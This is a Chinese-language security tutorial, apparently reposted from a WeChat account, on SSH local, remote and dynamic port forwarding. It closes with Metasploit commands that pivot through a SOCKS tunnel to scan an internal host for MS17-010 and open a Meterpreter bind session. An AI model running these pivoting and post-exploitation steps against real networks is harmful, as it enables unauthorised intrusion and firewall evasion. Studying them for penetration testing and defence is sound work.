简介
-
-
加密SSH Client 端至SSH Server 端之间的通讯数据
-
-
突破防火墙的限制完成一些之前无法建立的TCP 连接
-
-
-
服务器端配置文件:/etc/ssh/sshd_config
-
-
客户端配置文件:/etc/ssh/ssh_config、用户配置文件~/.ssh/config
-
参数详解
2 | -f 在后台对用户名密码进行认证
3 | -N 仅仅只用来转发,不用再弹回一个新的shell -n 后台运行
4 | -q 安静模式,不要显示任何debug信息
5 | -l 指定ssh登录名
6 | -g 允许远程主机连接到本地用于转发的端口
7 | -L 进行本地端口转发
8 | -R 进行远程端口转发
9 | -D 动态转发,即socks代理
10 | -T 禁止分配伪终端
11 | -p 指定远程ssh服务端口
本地转发
基础环境
2 |
3 | AllowTcpForwarding yes
4 | GatewayPorts yes
5 | TCPKeepAlive yes
6 | PasswordAuthentication yes
7 |
8 | # service ssh restart
-
-
AllowTcpForwarding
-
-
是否允许TCP转发,默认值为”yes”。
-
-
GatewayPorts
-
-
是否允许远程主机连接本地的转发端口,默认值是”no”。
-
-
GatewayPorts no
-
-
这可以防止连接到服务器计算机外部的转发端口。
-
-
GatewayPorts yes
-
-
这允许任何人连接到转发的端口。如果服务器在公共互联网上,互联网上的任何人都可以连接到端口。
-
-
GatewayPorts clientspecified
-
-
这意味着客户端可以指定一个IP地址,该IP地址允许连接到端口的连接。其命令是:
-
-
ssh -R 1.1.1.1:8080:localhost:80 www.example.com
-
-
在这个例子中,只有来自IP地址为1.1.1.1且目标端口是8080的被允许。
-
-
TCPKeepAlive
-
-
指定系统是否向客户端发送 TCP keepalive 消息,默认值是”yes”。
这种消息可以检测到死连接、连接不当关闭、客户端崩溃等异常。 -
-
可以理解成保持心跳,防止 ssh 断开。
-
2 | ssh -C -f -N -g -L 33389:192.168.144.210:3389 [email protected] -p 22
远程转发
2 |
3 | AllowTcpForwarding yes
4 | GatewayPorts yes
5 | TCPKeepAlive yes
6 | PasswordAuthentication yes
7 |
8 | # service ssh restart
2 | ssh -C -f -N -g -R 33389:192.168.144.210:3389 [email protected] -p 22
回到 ☁️VPS这台机器,查看33389端口是否处于监听状态。如果处于监听状态,则说明ssh隧道建立成功。
2 | vim /etc/rinetd.conf
3 |
4 | 0.0.0.0 3389 127.0.0.1 33389 #转发规则
5 |
6 | service rinetd start
动态转发
2 |
3 | AllowTcpForwarding yes
4 | GatewayPorts yes
5 | TCPKeepAlive yes
6 | PasswordAuthentication yes
7 |
8 | # service ssh restart
2 | ssh -C -f -N -g -D 10080 [email protected] -p 22 #监听127.0.0.1
3 | ssh -C -f -N -g -D 0.0.0.0:10080 [email protected] -p 22 #监听0.0.0.0
2 | msf5 > setg proxies socks5:10.11.42.99:10080
3 | msf5 > use auxiliary/scanner/smb/smb_ms17_010
4 | msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.210
5 | msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
6 | msf5 auxiliary(scanner/smb/smb_ms17_010) > run
2 | msf5 > setg proxies socks5:10.11.42.99:10080
3 | msf5 > use exploit/multi/handler
4 | msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp_rc4
5 | msf5 exploit(multi/handler) > set rc4password AnonySec
6 | msf5 exploit(multi/handler) > set rhost 192.168.144.155
7 | msf5 exploit(multi/handler) > set lport 443
8 | msf5 exploit(multi/handler) > run -j
总结
严禁用于非法用途,如产生法律问题,均由作者自行承担。
本文始发于微信公众号(乌雲安全):SSH加密隧道之端口转发
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论